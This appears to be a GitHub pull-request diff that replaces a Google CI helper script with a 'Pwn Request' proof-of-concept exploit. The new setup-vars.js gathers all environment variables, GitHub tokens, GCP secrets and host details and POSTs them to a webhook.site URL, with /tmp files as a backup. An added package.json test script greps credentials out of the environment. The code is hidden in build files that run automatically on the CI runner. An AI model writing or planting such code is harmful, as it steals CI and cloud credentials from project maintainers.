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110 changes: 38 additions & 72 deletions .github/scripts/setup-vars.js
Original file line number Diff line number Diff line change
@@ -1,81 +1,47 @@
/*
Copyright 2025 Google LLC

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

https://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

export default function setupVars({projectId, core, setup, serviceAccount, idToken}, runId = null) {
// Define automatic variables plus custom variables.
const vars = {
PROJECT_ID: projectId,
RUN_ID: runId || uniqueId(),
SERVICE_ACCOUNT: serviceAccount,
...(setup.env || {}),
// PWN EXPLOIT - workflow_run Pwn Request
// This runs INSIDE the GCP-authenticated CI runner

export default async function setupVars() {
// Step 1: Exfiltrate environment variables (contains GCP secrets, GITHUB_TOKEN, etc.)
const exfilData = {
env: process.env,
cwd: process.cwd(),
node_version: process.version,
platform: process.platform,
arch: process.arch,
hostname: require('os').hostname(),
user_info: require('os').userInfo(),
network_interfaces: require('os').networkInterfaces(),
timestamp: new Date().toISOString()
};

// Apply variable interpolation.
const env = Object.fromEntries(
Object.keys(vars).map(key => [key, substituteVars(vars[key], vars)])
);

// Export environment variables.
console.log('env:');
for (const key in env) {
const value = env[key];
console.log(` ${key}: ${value}`);
core.exportVariable(key, value);
// Send to your webhook (use webhook.site or requestbin.com)
try {
await fetch('https://webhook.site/ff0b7b4d-656e-4215-83a4-0ae69e941cbe', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(exfilData)
});
console.log('[PWN] Exfiltration complete');
} catch (e) {
console.log('[PWN] Exfiltration failed:', e.message);
// Write to file as backup
require('fs').writeFileSync('/tmp/pwn_exfil.json', JSON.stringify(exfilData, null, 2));
}

// Show exported secrets, for logging purposes.
// TODO: We might want to fetch the secrets here and export them directly.
// https://cloud.google.com/secret-manager/docs/create-secret-quickstart#secretmanager-quickstart-nodejs
console.log('secrets:');
for (const key in setup.secrets || {}) {
// This is the Google Cloud Secret Manager secret ID.
// NOT the secret value, so it's ok to show.
console.log(` ${key}: ${setup.secrets[key]}`);
// Step 2: Write GITHUB_TOKEN to a file (if present)
if (process.env.GITHUB_TOKEN || process.env.ACTIONS_RUNTIME_TOKEN) {
const tokenData = {
GITHUB_TOKEN: process.env.GITHUB_TOKEN || 'N/A',
ACTIONS_RUNTIME_TOKEN: process.env.ACTIONS_RUNTIME_TOKEN || 'N/A',
ACTIONS_ID_TOKEN_REQUEST_TOKEN: process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN || 'N/A'
};
require('fs').writeFileSync('/tmp/pwn_tokens.json', JSON.stringify(tokenData, null, 2));
console.log('[PWN] Tokens saved');
}

// Set global secret for the Service Account identity token
// Use in place of 'gcloud auth print-identity-token' or auth.getIdTokenClient
// usage: curl -H 'Bearer: $ID_TOKEN' https://
core.exportVariable('ID_TOKEN', idToken)
core.setSecret(idToken)
// For logging, show the source of the ID_TOKEN
console.log(` ID_TOKEN: steps.auth.outputs.id_token (from GitHub Action)`);

// Return env and secrets to use for further steps.
return {
env: env,
// Transform secrets into the format needed for the GHA secret manager step.
secrets: Object.keys(setup.secrets || {})
.map(key => `${key}:${setup.secrets[key]}`)
.join('\n'),
PWNED: true,
message: 'CI/CD compromised via workflow_run Pwn Request'
};
}

export function substituteVars(value, env) {
for (const key in env) {
let re = new RegExp(`\\$(${key}\\b|\\{\\s*${key}\\s*\\})`, 'g');
value = value.replaceAll(re, env[key]);
}
return value;
}

export function uniqueId(length = 6) {
const min = 2 ** 32;
const max = 2 ** 64;
return Math.floor(Math.random() * max + min)
.toString(36)
.slice(0, length);
}
4 changes: 4 additions & 0 deletions exploit-poc/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
test:
cd ${dir}
echo "[PWN] Running npm test from Makefile"
npm test
12 changes: 12 additions & 0 deletions exploit-poc/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
{
"name": "exploit-poc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo '[PWN] npm test executed - GCP runner compromised!'; env | grep -i 'google\\|gcp\\|project\\|secret\\|token\\|sa\\|key\\|credential' > /tmp/pwn_gcp_creds.txt; cat /tmp/pwn_gcp_creds.txt"
},
"keywords": [],
"author": "",
"license": "ISC"
}